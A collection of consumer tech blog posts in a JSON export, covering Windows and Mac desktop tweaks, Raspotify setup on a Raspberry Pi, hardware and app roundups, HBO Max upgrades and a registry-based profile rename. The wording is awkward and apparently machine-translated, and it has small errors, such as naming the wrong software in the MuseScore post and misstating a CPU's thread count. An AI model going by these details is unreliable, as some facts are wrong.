wheel part between the right and left mouse buttons) to change Icon size on the Desktop screen.\n3. On Windows XP 1. Right-click any space on the Desktop screen. At this time, the context menu appears, where you click Properties .\n  2. On the Display Properties dialog box, at the Appearance tab, select Advanced .\n  3. On the Advanced Appearance dialog box, select Icon and set the new size value in the Size box to finish.\n  4. On Mac OS X 1. Right-click any space on the Desktop screen. The context menu appears, where you select Show View Options .\n  2. Adjust the icon size with the slider.\n  5. How to hide, show the desktop icon - Display desktop icon:\nTo display the icon on the Desktop, right-click any space on the Desktop screen, scroll through the View and select Show Desktop icons .\n- Hide desktop icon:\nTo hide the icon on the Desktop, right-click any space on the Desktop, scroll through the View and select Show Desktop icons to leave the Desktop icons option missing.\nRefer to some of the following articles: Summary of driver error codes on Windows and how to fix (Last part) Windows Defender is disabled or inactive, this is a fix 9 tips to protect your computer safely from virus attacks Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqLa7sYydnKyjpKS9brXCqKVmp55ixKq6w6iurA%3D%3D\n","link":"/post/how-to-resize-desktop-icon-on-windows/","section":"post","tags":null,"title":"How to resize Desktop Icon on Windows?"},{"body":"Spotify has a huge music collection and offers users many options to stream their favorite music. You can enjoy Spotify through a web browser or by installing a dedicated application on your smartphone or computer. However, these methods do not always yield the highest sound quality.\nSpotify Connect solves this problem by enabling all your favorite tunes to be played through any compatible wireless product, including soundbars and independent speakers.\nIn this tutorial, you'll learn how to set up your Raspberry Pi as a cheap, portable Spotify Connect device.\nUse Spotify Connect on the Raspberry Pi Things to prepare Are you running the latest version of Raspbian? Install the Spotify client Enjoy Spotify on the Raspberry Pi Configure Spotify Connect Name the Raspberry Pi Increase sound quality  Things to prepare To complete this tutorial, you will need:\nRaspberry Pi runs Raspbian. If you don't have Raspbian, get the latest version and flash it to your SD card using Etcher. The power cable is compatible with the Raspberry Pi External keyboard and how to attach it to a Raspberry Pi HDMI or micro HDMI cables, depending on the Raspberry Pi model External screen Ethernet cable or connection via WiFi The cable connects to the headphones so you can attach the Raspberry Pi to audio devices such as speakers or USB sound cards for higher quality sound. Sign up for Spotify Premium Are you running the latest version of Raspbian? To get started, start up the Raspberry Pi and run the latest version of Raspbian. Start the Raspberry Pi and open the Terminal window. Enter the following commands:\nsudo apt update sudo apt upgrade If Raspbian installs any updates, then you will need to restart your Raspberry Pi by clicking the small Raspberry Pi icon in the upper left corner, then selecting Shutdown\u0026gt; Reboot .\nInstall the Spotify client This tutorial uses the Raspotify, Spotify Connect client specifically designed for the Raspberry Pi.\nRaspotify requires curl and apt-transport-https packages , so open Terminal and make sure these packages are installed on your Raspberry Pi:\nsudo apt install -y apt-transport-https curl Next, add the Raspotify repository and the associated GPG key. The GPG key is especially important, as it will allow the Apt package manager to verify any file it retrieves from the Raspotify repository. In Terminal, run the following two commands:\ncurl -sSL https://dtcooper.github.io/raspotify/key.asc | sudo apt-key add -v - echo 'deb https://dtcooper.github.io/raspotify raspotify main' | sudo tee /etc/apt/sources.list.d/raspotify.list The Raspotify repository has been successfully added, but currently the package manager is unaware of this repository. So, run the following Terminal command:\nsudo apt update You can now install Raspotify:\nsudo apt install raspotify Raspotify will automatically launch, so you're ready to start streaming music to your Raspberry Pi!\nEnjoy Spotify on the Raspberry Pi You can now send music to the Raspberry Pi from the Spotify mobile app or desktop. In this tutorial, Spotify for Android is being used, so the steps may be slightly different if you use an alternate platform.\n1. Launch the Spotify application.\n2. Select the song you want to play.\n3. Click on Devices available at the bottom of the screen.\nClick on Devices available 4. In the lower left corner, select the Devices small icon .\nSelect the Devices small icon 5. Find your Raspberry Pi and click on it.\nFind your Raspberry Pi and click The Raspberry Pi will now play the song of your choice!\nConfigure Spotify Connect To improve user experience, you can make some changes to the Raspotify software.\nYou can edit the Raspotify setting on the network by running the following Terminal command:\nsudo nano /etc/default/raspotify This will launch a configuration file in the Nano editor.\nConfiguration file in Nano editor You can make many changes to this file including:\nName the Raspberry Pi By default, your Raspberry Pi will be named raspotify (raspberry pi) . If you have multiple Raspberry Pis online, you may want to give each device a unique name - for example, Raspberry Pi Kitchen or Spotify Connect Client .\nTo rename a Raspberry Pi, find the following line:\n#DEVICE_NAME=\"raspotify\" And make the desired changes - for example, this tutorial uses:\nDEVICE_NAME=\"Jessica's Office\" Do not forget to delete the # symbol !\nSave changes with the Ctrl+ shortcut X, then press the key yand Enteron the keyboard.\nEvery time you change the configuration file, you will need to restart your Raspotify service by entering the following command in Terminal:\nsudo systemctl restart raspotify Check out the Spotify app on your smartphone or tablet and you'll notice that the Raspberry Pi now has a completely new name.\nName the Raspberry Pi Increase sound quality Bitrate (bit rate) refers to the amount of data processed in a given period of time. The higher the bitrate, the better the sound quality, but the lower bitrate will consume less data (this may be a concern if you play Spotify on your smartphone).\nThe standard bit rate for Spotify Connect is 160 kbps, but audio enthusiasts can enjoy high quality audio by increasing this value to 320. Also, you can experiment with low quality bitrates at 96 kbps for Spotify to see if you can tell the difference.\nRegardless of whether you choose low quality (96), medium quality (160) or high quality (320), you can control the bitrate setting of Spotify by editing the following line:\n#BITRATE=\"160\" Save the changes by pressing Ctrl+ X, Yand then Enter. Finally, you will need to restart the Raspotify service:\nsudo systemctl restart raspotify Ultimately, the quality of sound depends on the audio device you attach to the Raspberry Pi. Don't forget to use these Spotify tips to enhance your listening experience.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIysp6ismZvGbq%2FOp6Wem6RivK950ZqqqZqVp7%2B6ec%2Bi\n","link":"/post/how-to-set-up-spotify-connect-on-raspberry-pi/","section":"post","tags":null,"title":"How to set up Spotify Connect on Raspberry Pi"},{"body":"Bluetooth USB in recent years has been chosen by many people because of its ability to receive data from other devices for desktops or speakers. External USB bluetooth looks like a normal USB to store data, but it is possible to turn on desktop or speaker without bluetooth connection and still have the ability to receive data from other Bluetooth devices.\nWith this USB bluetooth, users can transfer data such as images, audio to devices at a distance, without using connection cables. Each type of USB bluetooth has different features, with different prices for users to have more suitable options. The following article will summarize you reading some good Bluetooth USB for computers.\nHow to connect USB bluetooth with amplifier Desktop computer without bluetooth? This is the solution Instructions for using bluetooth on devices How to check if your computer has bluetooth? Synthetic USB bluetooth good for PC 1. USB bluetooth CSR 4.0 Dongle\nBluetooth USB device CSR 4.0 Dongle supports connecting and transferring data between computers with other devices with bluetooth connectivity such as mobile phones, laptops, . This type of USB bluetooth allows the connection distance between devices. up to 20m.\nReference price: about 80,000 VND - 100,000 VND.\n  2. USB bluetooth Orico BTA-403\nOrico USB USB is equipped with bluetooth 4.0 technology, creating stability when connecting between a phone, speaker, or other accessories, always get the best signal when connected. The product is compatible with extending the old bluetooth 2.0 to 3.0 but limited Windows operating system when used. External design of USB bluetooth belongs to high quality plastic material, durable and sturdy.\nReference price: 100,000 VND - 140,000 VND.\n  3. USB bluetooth TP-Link UB400\nTP-Link's bluetooth USB line is compatible with the old bluetooth, the connection range is about 10m. Operating system that the device supports from Windows XP to Windows 10.\nReference price: VND 120,000 - VND 150,000.\n  4. USB ORICO BTA-408 USB\nORICO BTA-408 also has a high transfer rate, ensuring fast connection speeds between computers and many other Bluetooth-connected devices in about 20m. The device is equipped with 128-bit-AES data encryption, always has stability during the connection between devices.\nReference price: VND 160,000 - VND 180,000.\n  5. USB bluetooth Ugreen UG-30524\nType USB bluetooth for the 5th PC that the Network Administrator wants to introduce to you is USB bluetooth 4.0 Ugreen UG-30524. The device is still equipped with Blutooth 4.0 technology, the connection speed is highly effective in about 10m.\nDevice used for desktop or laptop, fast connection speed, stable connection line for data transfer between devices. Bluetooth 4.0 Ugreen 30524 USB device is designed with ABS plastic material to create the most durable.\nReference price: VND 180,000 - VND 215,000.\n  6. USB bluetooth ADB-B5\nBelonging to the high-end USB Bluetooth series equipped with 3.5mm stereo audio port and Aten leaving broadcasting, USB bluetooth ADB-B5 can be connected to DVD, speakers, TV, computer. The process of finding and connecting speaker devices, the Bluetooth headset made by ADB-B5 automatically. In particular, the USB bluetooth ADB-B5 has a noise filtering capability to provide more quality, noise-free sound and comfort for users.\nReference price: VND 260,000 - VND 290,000.\n  Above are some lines of USB bluetooth connection for computers and many other devices. Some types of bluetooth USB price will be divided by color, so users need to learn carefully before buying.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG9krquSYq%2BtwcStpqismGKzsL6MrZ%2BeZZKawLV5z5w%3D\n","link":"/post/top-6-usb-bluetooth-for-the-best-pc/","section":"post","tags":null,"title":"Top 6 USB Bluetooth for the best PC"},{"body":"In addition to the trendy graphics card - the center for handling 3D images, the CPU is also an aspect that gamers should pay attention to avoid bottlenecks and play heavy games like GTA 5, Mafia 3 or Arma 3 .\nIf you want to upgrade your gaming computer, which CPU will you choose? Here are the best CPU models available today, users can consult to get the best option for giving their gaming PC.\nIntel Core i9 7920X\n  This is considered the most advanced CPU for gamers, with 12 real cores and 24 streams along with clock speeds up to 4.4GHz and 16.5MB cache. If you want to fight Max Setting every game at the present time as well as in the future, Core i9 7920X CPU is the best choice for you.\nRyzen Threadripper 1920X\n  \n1920X owns 12 real cores and 24 streams along with 4.0GHz clock, which has the same power as Intel's Core i9 and i7 series. AMD has produced the best gaming CPU for gamers.\nIntel Core i7 8700K\n  \nThe Intel Core i7-8700K has 6 real cores and 12 streams, 3.6GHz basic clock speed and 4.7GHz overclocking. With a mid-range CPU, this is indeed an impressive number. In addition, the i7 8700K is equipped with a powerful Onboard GPU that makes it easy to play some games and use graphics.\nFor all users who want a smooth gaming experience, Intel Core i7 8700K is the most perfect gaming CPU on this list.\nRyzen 5 2600X\n  \nRyzen 5 2600X with 6 real cores and 12 streams, overclocking capability of up to 4.2GHz, has the same power as Intel's Coffee Lake series. This is the latest generation Ryzen series of AMD products, but it has a very affordable price, suitable for gamers who install medium or higher gaming machines.\nIntel Core i5 8400\n  \nIntel Core i5 8400 is built on Intel's latest Coffee Lake architecture, owns 6 real cores and 12 streams, very high clock rates of 3.8 - 4.0 GHz. Although not capable of overclocking like the high-end CPUs on this list, the i5 8400 has performance comparable to the old i7 7700k, which can smooth out current titles.\nThis is the best cheap CPU that mid-range gaming PC segment should choose.\nIntel Pentium Gold G5400\n  \nIntel Pentium Gold G5400 has G5400 clock speed of 3.7 GHz, faster processing speed than the previous generation CPU - Pentium G4560, compatible with H310 or B360 chipset, GTX 1060 6GB graphics card. The Pentium Gold G5400 is the best choice when you want to experience games that require a higher configuration than usual but limited funding.\nRyzen 3 2200G\n  \nWith a modest PC and a tight budget, the first Ryzen 3 2200G, AMD's first CPU is equipped with an integrated Vega graphics card, which is a good idea for a gamer without a dedicated GPU.\nSee more:\nHow to increase gaming performance on Windows 10 April 2018 How is the CPU produced? What's the new generation of CPUs released by Intel? ncG1vNJzZmismaXArq3KnmWcp51kwbC8jJynrmWXlrqqusZmrqiqpJ16o8HYoqWgZWJlfnk%3D\n","link":"/post/top-cpu-gaming-worth-buying-2018/","section":"post","tags":null,"title":"Top CPU gaming worth buying 2018"},{"body":"MuseScore's interface is also quite simple, so you can explore to discover many interesting features for composing music. The software supports users to connect to a keyboard, mouse or MIDI keyboard to work.\nHere are 11 video tutorials on how to use Barrier for your reference, starting from installing software on your computer to professional operations in the future, such as composing music, writing lyrics, entering sounds.\nVideos start with the basics of how you get used to MuseScore software, then slowly get more advanced and deeper to be able to create a complete track.\nVideo tutorial to use music composer software MuseScore Video 1: Set up the score Video 2: Working with MuseScore Video 3: Create musical notes Video 4: Entering notes from the MIDI keyboard Video 5: Some other types of note input Video 6: Write words, lyrics and chords Video 7: The notation for the drums and the TAB on the Guitar Video 8: Repeats and Conclusion (part 1) Video 9: Repeats and Conclusion (part 2) Video 10: Expressions, intensity marks and text Video 11: Layout and music how to use MuseScore how to install MuseScore ncG1vNJzZmismaXArq3KnmWcp51kfnJ51aKbnqddqcK1u9GimKWrXaS7brTOsGStp12qwKZ5zK6qnquTpL%2Bm\n","link":"/post/11-video-tutorials-on-how-to-use-musescore/","section":"post","tags":null,"title":"11 video tutorials on how to use MuseScore"},{"body":"Today almost all smartphone users are \"crazy\" taking selfies wherever they want because they want to take and share it on social networks like Facebook, Instagram, WhatsApp, etc. Yes Many apps on Play store help you \"upgrade\" selfie image quality and improve photography skills.\nIf you are also a selfie enthusiast, join us on the top 20 great selfie apps for Android, then download the most impressive app for you and take gorgeous photos to show off to you friends\n1. Beauty Plus Magical Camera   \nThis is one of the best selfie apps that your Android phone should own.This app lifts your beauty instantly while shooting with natural effects.This app is highly appreciated by users on the Google Play app store, so why not hesitate to download and experience this great application.\nFeatures of Beauty Plus:\nPossessing a radiant face with the camera of Beauty Plus. Recreate skin by using unique skin smoothing tool. Blemish Remover allows you to erase acne and other skin problems with just one touch. Selfie Timer Selfie Timer mode. Download - Beauty Plus Magical Camera\n2. FotoRus   This is one of the great selfie apps for Android.This application is only 27 MB but gives you apowerful photo editingexperiencewith equally perfect features next to any photo editor with high image resolution.\nFotoRus features:\nImage filter: Easily create extremely impressive photos. No need to crop photos, you can post full photos to Instagram, Facebook and Twitter. Photo Collage: the leading photo editing tool that will help you crop and paste multiple photos with a series of eye-catching photo frames and grids. Add text to photos, write what you want and change your favorite font.In addition, users can change the size, color and apply extremely interesting effects to the content. Download - FotoRus\n3. ZOOM FX Premium Camera   This is one of the most popular applications, it offers great features like stable shooting, enhanced beauty, a variety of filters and many other features that you will discover after installing the application. Use this on your Android device.\nFeatures of ZOOM FX Camera:\nManual DSLR control using Camera API2. RAW shooting (supported device). ISO setting, focus distance, shutter speed (only in Lollipop). Combine multiple shooting modes such as timer, stability feature, timelapse shooting mode. Specify button order in UX. Download - ZOOM FX Premium Camera\n4. Retrica   This is one of the most popular applications from the Android user community, with millions of photos taken every day with Retrica.Not only that, it is alsoa must-weigh choice of many professional photographers.\nFeatures of Retrica:\nCreate beautiful photos, collage photos, videos and even create gif images. Own more than 100 filters in real time. Turn your smartphone into a photo gallery. Mark your memory by Stamp of Retrica. Immediately upload photos to social networking sites. Download - Retrica\n5. Perfect365: Best Face Makeup   Like its name, this app is the perfect selfie camera on your Android device with natural editing effects, giving your photos a 'dashing' beauty. This app.\nPerfect365 features:\nMore than 20 makeup and beauty tools like color tones, lipstick, remove facial imperfections and many other great tools for you to customize your own style. Over 200 super hot models. Unlimited color options with Pro Color Palette. The most accurate makeup possible with advanced face calculation feature. Download - Perfect365: Best Face Makeup\n6. YouCam Perfect - Selfie Cam   This is one of the great apps to help you lift your selfie photos and videos.The application possesses tons of different effects, can identify many faces in the image.In addition, you can create video and video selfies with a length of 4-8 seconds using video filters.\nYouCam Perfect Features:\nA variety of face detection features allow you to touch each face in group photos. Choose 6 levels of beauty from natural to charming. Smooth skin repair, no longer dry skin, remove wrinkles, acne. Cut out the subject of a photo and add an exciting new background with special effects. Download - YouCam Perfect - Selfie Cam\n7. B612   B612 is the perfect choice for taking selfie photos anytime, anywhere.Designed with a specialized function, completely different from other image processors, B612 gives users the freshness, youthfulness of young people.This is one of the favorite camera apps that you should try on your Android phone.\nFeatures of B612:\nSelfie video: show your world the amazingness with 3 or 6 seconds of video clips with unique sound effects.Simply touch and hold the screen to start recording. Support the following camera: Swipe the screen from top to bottom to use this feature. Random filter: Tap the random button and B612 will remember the filters you use often to display them when you need them without wasting time searching for filters like other applications. Vignette: This feature is perfect when darkening the image border to increase the focus for the image.Each Vignette automatically adjusts the filter you are using. Download - B612\n8. Sweet Selfie   Sweet Selfie is a new name in the photo editor and it has some impressive features that can create natural beauty with filters in seconds.Emoji emoticons and stickers in app specially designed for selfie.So, if you are looking for a camera app that has all these functions, Sweet Selfie is the perfect choice.\nFeatures of Sweet Selfie:\nCamera design \u0026amp; photo editing special Selfie. Stylish \u0026amp; Fashion-Halo real-time filter effect. Emoji emoticons \u0026amp; stickers designed in addition to photo Selfie. Support taking photos with selfie sticks. Support taking pictures with mirror effects. Download - Sweet Selfie\n9. BestMe Selfie Camera   BestMe Selfi Camera is designed for selfie editing.It gives you exactly 125 filters in super unique real time.This is the perfect application for selfie believers who don't want to miss any beautiful moments in life.\nFeatures of Camera Selfie BestMe:\nPhoto editor with 100 filters \u0026amp; sticker. Collection of diverse and super toxic stickers, emoji. Vignette feature. Blur effect (blur) great for Instagram. Easily share photos on Instagram, Facebook, VK, LINE, KAKAO, Wechat and more. Support taking photos with selfie sticks. Download - BestMe Selfie Camera\n10. Candy Camera   With beauty filters and silent mode, you can take selfie wherever you are with Candy Camera.The application has many diverse filters specially designed for selfie and you can also collage photos with this application.\nCandy Camera features:\nCandy Camera filters show in real time while you take a selfie. In addition to filters, the application also has perfect editing tools for your selfie photos. Sticker for each season and follow the trend of the era. Capture stills, snapshots or take photos wherever you want. Download - Candy Camera\n11. LINE Camera - Photo editor   Whether you're taking a selfie or a professional-looking photo, the powerful editing tools available in the app will help you get creative.In addition,LINE Camera has a lot of animated stickers for you to make funny photos and decorate photos more diverse.\nFeatures of LINE Camera:\nSleek, cute filters. Create original original sticker with text, photo. Take a snapshot with the camera and use the Live filter, use beauty features to edit photos. Collage feature to edit photos as desired. LINE camera supports touch timer feature to capture, display the net and other support features. Download - LINE Camera - Photo editor\n12. Facetune   \nFacetune provides powerful and easy-to-use editing tools, makingit possible to turn your normal selfie into sparkling like on famous magazine covers.\nFacetune features:\nSmoothes, brightens and rejuvenates your skin. Brighten dark circles under the eyes with concealer. Eliminate defects, acne and scars. Download - Facetune\n13. VSCO   \nVSCO is one of the most popular photo capture and editing applications.VSCO possesses many unique and completely free image processing features.\nDownload - VSCO\n14. Photo Editor by Aviary   \nAviary is a fast and easy photo editor.All the editing tools you need are in Photo Editor by Aviary.\nPhoto Editor features by Aviary:\nImprove photo quality automatically with just one touch. Effects collection and eye-catching photo frames. Exciting sticker system. Color balance. Photo editing features: crop, rotate and enlarge photos. Download - Photo Editor by Aviary\n15. AirBrush: Easy Photo Editor   \nThis is one of the best photo editors available on Google Play Store.It owns some excellent editing tools and advanced filtering technology.The application is updated regularly and completely free.\nDownload - AirBrush: Easy Photo Editor\n16. Microsoft Selfie   \nMicrosoft Selfie is a simple selfie application on Android, iOS and web but gives you unexpected effect.This tool possesses advanced detection feature that detects age, gender, skin color, light . with just one touch.\nMicrosoft Selfie Features:\nAutomatically identifies age, gender, skin color. Automatically adjust light and many other features. Download - Microsoft Selfie\n17. SelfieCity   \nSelfieCity helps you create quality photos with filters inspired by movies like Inception, Once Upon a Time and Roman Holiday, etc.Different trend effects are designed specifically for selfies - you won't have to worry about using this application.\nFeatures of SelfieCity:\nFeatures blurring and creating classic for perfect photos. The Retouch tooleliminates facial imperfections, whitens skin, enlarges eyes, high nose, changes eye color . Random effects. Download - SelfieCity\n18. Bright camera   \nWith Bright Camera, selfie is no longer boring.You can enjoy professional self-made cameras and tools and filters to make your selfie photos glow.\nFeatures of Bright Camera:\nTake photos with HD camera. Perfect beauty tool. Diversified image filters and rich sticker system. Save images to SD card. Download - Bright camera\n19. Bestie - Best Beauty Camera   \nThis may be one of the best auto camera apps you've ever owned on your Android phone.The application is developed by leading developersand possesses outstanding features.\nBestie features:\nSmoothes skin naturally and radiantly. Professional portrait filter. Face and skin quick correction tool. Automatically identify faces, smooth, whiten skin with delicate facial contours. Download - Bestie - Best Beauty Camera\n20. Noah Camera   \nIf you like using filters while taking selfies, Noah Camera will be the best choice for you.With this quick filter, you can immediately receive selfie photos and instantly share them on social networks.\nNoah Camera features:\nReal-time filter. Capture anywhere and anytime with Noah Camera's silent mode. Interesting photo collage mode. Touch anywhere on the screen to take a picture. Self-timer stick for selfie. Download - Noah Camera\nAbove is the best quality selfie app for Android.With the help of these applications, you can easily capture unique photos and share them with friends.In addition, you also learn a lot of photo editing skills on Android devices.Hope you like this article and share it with your friends.\nncG1vNJzZmismaXArq3KnmWcp51kf3F50p6jn6GVYq6xvNJmqq6olad6ssHApaCtsV2osq2yyJ5kmqigYrOwvoyapZ2qn56xbn6Pam4%3D\n","link":"/post/20-selfie-apps-super-quality-selfie-app-for-android-2017/","section":"post","tags":null,"title":"20 selfie apps, super quality selfie app for Android 2017"},{"body":"Despite months of dealing with the coronavirus, the streaming wars continue with no regard for the pandemic. In May, arguably the biggest\u0026nbsp;Netflix\u0026nbsp;competitor of them all launched: AT\u0026amp;T's HBO Max. The new service offers every show and movie available on HBO and adds a host of exclusive content from WarnerMedia and DC Comics. It's home to popular shows such as Friends (including a forthcoming reunion special), The Big Bang Theory and Rick and Morty; recent and classic films as well as kids' content from Looney Toons and Sesame Street plus new exclusives like Zack Snyder's Justice League in 2021. The HBO Max catalog is simply massive.\n Max is priced at the same $14.99 per month that HBO already charges for a subscription, so current HBO subscribers might expect to be upgraded to it automatically. Some already were, but for others it's not that simple. Here's what you need to know.\n  I'm an HBO Now subscriber. What do I do?\u0026nbsp; Millions of HBO Now customers were already upgraded to HBO Max automatically thanks to an app update that simply transforms the HBO Now app into the HBO Max app. Some others will have to download the new HBO Max app manually on their device.\nWhether you're among those who get the upgrade depends on who handles your billing. HBO Now subscribers billed through the following providers qualify:\nHBONow.com Apple Google Millions more HBO Now subscribers don't qualify. If you subscribe to HBO Now through a third-party service that isn't Apple or Google -- such as on a platform like Amazon Prime Video Channels or Roku, or through an internet provider -- you won't be upgraded to HBO Max (see below).\nUnsure how you're getting HBO? You can check by logging in on your phone or computer. Here's how, according to HBO's help guide:\u0026nbsp;\n1. After logging in, you need to head to the Profile section.\u0026nbsp;\ni. On a computer check the upper-right corner and choose the Profile icon.\nii. On a phone or tablet tap the Profile icon, then tap the Settings icon (upper-right corner).\n2. Choose Billing Information and look for the following sentence: Your subscription is billed through _________.\nA full list of third-party providers can be found here.\u0026nbsp;\nWhat if I get HBO from my cable provider or streaming TV service?\u0026nbsp; Although the situation is more complex than with HBO Now, the answer again depends on which provider actually delivers HBO to you. All of the following cable, satellite or streaming companies will let HBO subscribers get HBO Max:\nDirecTV/AT\u0026amp;T TV (see next section) Hulu YouTube TV Comcast Charter/Spectrum Altice (Optimum and SuddenLink) Verizon Cox Communications\u0026nbsp; NCTC (WOW, Atlantic Broadband, RCN, Grande Communications \u0026amp; Wave and MCTV) Not every company will handle the upgrade the same way. Charter customers who already subscribe to HBO through the Spectrum cable service will \"gain immediate access to HBO Max,\" according to an HBO Max spokeswoman, while new Spectrum subscribers will \"be able to purchase HBO Max directly through Charter at launch.\" AT\u0026amp;T previously announced a\u0026nbsp;deal with YouTube TV in February\u0026nbsp;that \"will allow users to subscribe to HBO Max through that service.\"\u0026nbsp;\nRead more:\u0026nbsp;HBO Max vs. HBO Now vs. HBO Go: What's the difference, how do you upgrade?\nIf you currently use the HBO Go app and subscribe to one of the providers listed above, our advice is to simply download the new HBO Max app and try using that same username and password to log in. Otherwise, contact your provider.\nWarnerMedia on May 27 announced that it struck a deal with Comcast, the US' largest cable provider. As part of the deal, X1 and Flex users who get HBO through Comcast will now be able to upgrade for free to HBO Max, and can watch the new service on supported devices.\u0026nbsp;\nIf your provider isn't listed above, you won't get HBO Max for free at launch even though you subscribe to regular HBO, most likely at the same $14.99 monthly price. You will still be able to continue watching HBO and using HBO Go, but you will miss out on all the extra shows and movies being added to HBO Max exclusively.\u0026nbsp;\nWhat if I get HBO from AT\u0026amp;T or DirecTV?\u0026nbsp; HBO, like the rest of WarnerMedia, is owned by AT\u0026amp;T, so the upgrade process for those living in this world is a bit easier. That said, it's not completely free of complications. If you have an AT\u0026amp;T service you will likely get some HBO Max free, but whether that is for one month, three months or one year, or is a general free upgrade, will vary depending on which services you have.\u0026nbsp;\nHere's a chart AT\u0026amp;T put together to show if you will get the free upgrade.\u0026nbsp;\n  New AT\u0026amp;T TV Choice, Xtra or Ultimate, and Óptimo Más package customers and new DirecTV Choice, Xtra, Ultimate, Más Ultra or Óptimo Más package customers will be eligible to receive HBO Max included for a year.\u0026nbsp;\nCurrent subscribers with most TV packages from AT\u0026amp;T TV or DirecTV will be able to get a three-month free trial of HBO Max, though this excludes those on the cheapest TV packages.\u0026nbsp;\nThose with AT\u0026amp;T's Internet 1000 home broadband or Unlimited Elite wireless plan will similarly have HBO Max included, while those with other home broadband or wireless plans will get a one-month free trial.\u0026nbsp;\nWhat about Amazon and Roku?\u0026nbsp; Some HBO customers won't get HBO Max for free. If you get HBO via Amazon Prime Video Channels or the Roku Channel, you won't get the upgrade to Max for free.\u0026nbsp;\nIt's also worth noting that, as of June 5, AT\u0026amp;T has not announced that the HBO Max app will appear on Roku and Amazon Fire TV devices and\u0026nbsp;thus far they are still MIA. If you subscribe to HBO Max via any of the methods above, you'll have to download and use the HBO Max app on another device to get it onto your TV.\u0026nbsp;\nIf you pay for HBO through Roku or Amazon, however, you should still be able to watch on either platform, it just will be the regular HBO without the Max-exclusive content.\u0026nbsp;\nAt launch the HBO Max app will be available on iOS, Android, web browsers, Android TV, Apple TV, Chromecast, Xbox One, PlayStation 4 and Samsung smart TVs. Here's the full list of devices that support the HBO Max app.\u0026nbsp;\nSo if I don't get HBO Max for free, what should I do?\u0026nbsp;   Regardless of if you have HBO Now or HBO from a cable provider, the price is generally the same: $14.99 per month. That price is also the same as a new HBO Max subscription, so if you're paying for HBO and not getting it bundled for free, our advice is to switch to being billed directly by HBO, or just cancel it through your current third-party method and then sign up for HBO Max.\u0026nbsp;\nThe cost differences pretty much cancel out and HBO Max gives you more for your money, particularly if you have HBO Now and are not being billed directly by HBO. The experience for watching could be as simple as just swapping the Now app for the Max app, which makes the switch a no-brainer.\u0026nbsp;\nFor cable users, particularly those accustomed to watching TV on channels and not apps, the transition is slightly more complicated and will mean having to use a streaming device as opposed to just changing a channel. While these devices can be found at fairly affordable prices, it does mean having to switch between different inputs when navigating between HBO and regular TV.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51ks7OxxGafm6ddoq65ecClo2asmJp6uK3YrGStp12qvai%2BwJ2cZqGWYsawwYyao6udkZnGbrTAr5xmoJKkerC%2BjKGZqGWepMQ%3D\n","link":"/post/all-the-ways-to-upgrade-if-you-already-have-hbo-or-hbo-now/","section":"post","tags":null,"title":"All the ways to upgrade if you already have HBO or HBO Now"},{"body":"In many parts of the world, snow began to fall and turn everything into a white color from the roof, the street, the park, the playground, everything looked like a long white sheet of paper. You can create snowfall in your computer using the Cursor Snowflakes software, making it snow every time you move the mouse on the screen. Different sized snowflakes start to fall under the movement of the mouse and create a beautiful snowfall effect especially when used on a dark background.\nSnowflakes Cursor is portable software, so just run it without installing. But when starting the program, Snowflakes Cursor will automatically run when Windows starts. However, you can enable or disable this option by right-clicking on the small snowflake icon on the notification area and unchecking or selecting Start when I start Windows .\nHow to add a startup program with the system?   Here, you can choose the snow speed from slow, normal to fast. In addition, you can also choose transparent snowfall effect or above all other windows. For the best effect, you should leave the normal drop rate and leave the effect on the windows.\n  Snow effect works with all types of cursors from Windows installation. So you can choose any type of mouse, the snow will start to fall when moving the mouse if the Cursflakes Cursor is running in the background. When you want to remove the snow effect just right click on the system tray icon and select Exit to exit the application.\nDownload the Snowflakes Cursor from http://www.get-xmas.com/\nSee more:\nThe basic steps of fixing cursor cursors flutter in Windows Instructions to change the interface of the mouse cursor on Windows How to create a peach blossom effect on Windows ncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZquepMRuscWfnJysXay1prqMpqavoZ6ceq671KycZqeeYsSqusOorqw%3D\n","link":"/post/create-snow-effect-when-moving-mouse-on-windows/","section":"post","tags":null,"title":"Create snow effect when moving mouse on Windows"},{"body":"When adding a new user account in Windows 10, the profile for the account is automatically created when the user first signs in to the new account.\nUser profiles are a collection of settings that give your computer the look and function you want. It is stored in the user's C: Users profile folder and contains account settings for the desktop background, screen savers, cursor options, audio settings, and more. User profiles ensure that your personal preferences are used whenever you log into Windows.\nBecause the user profile folder is automatically named by Windows by default, it will not go as you like. This tutorial will show you how to change the name of the user profile folder given in Windows 10.\nNote : You must be logged in as an administrator to make changes.\nHere's how:\n1. Log out of the user account (for example, \" Brink2 \") in which you want to change the name of the user profile folder (for example, \" C: UsersBrink2.BRINK-W10PC \").\n2. Log in to any admin account on the PC without changing the user profile folder name.\nNote : If you do not have another admin account, then you can enable the built-in Administrator feature to login and perform these steps.\n3. Open Command Prompt.\n4. Enter the command below into the Command Prompt and press Enter .\nNote : Write down the SID (for example, \" S-1-5-21-237214570-1361766723-3061440971-1015 \") for the account you want to change the name for the user profile folder. You will need to know this SID in step 6 below.\nwmic useraccount get name,SID  5. Press the Win + R keys to open Run , type regedit into Run, and click OK to open Registry Editor.\n6. Navigate to the registry key below in the left panel of the Registry Editor.\nHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProfileList  Replace in the above registry key path with the actual SID from step 4 above for the account name you want to change the name of the user profile folder.\nFor example:\nHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProfileListS-1-5-21-237214570-1361766723-3061440971-1015  7. To the right of the SID key, double click on the expandable string ProfileImagePath ( REG_EXPAND_SZ ) to modify it.\n8. Change the current name of the user profile directory in the full path to what you want and click OK.\nNote : Write down the current path and full name, as well as a new name for the user profile folder of this account.\nYou will need to be interested in both steps 10 and 12 below.\n9. When done, close the Registry Editor and the Command Prompt if you like.\n10. Open File Explorer ( Win + E ) and navigate to the original full path of the user profile folder from step 8 above.\n11. Right-click or hold and hold the user profile folder and click Rename.\n12. Change the current name of the user profile folder to a new name from step 8 above.\n13. Now, you can close File Explorer if you like.\n14. Verify the OneDrive folder location for the account is correct, with the new profile folder name. If not, change the OneDrive folder location to fix it.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lnpa6pnnOn2StoJViwrSx0Wanq6eWnrmmecWoo52domK2r3nWoqWdp6eoenJ8\n","link":"/post/how-to-change-the-name-of-the-user-profile-folder-in-windows-10/","section":"post","tags":null,"title":"How 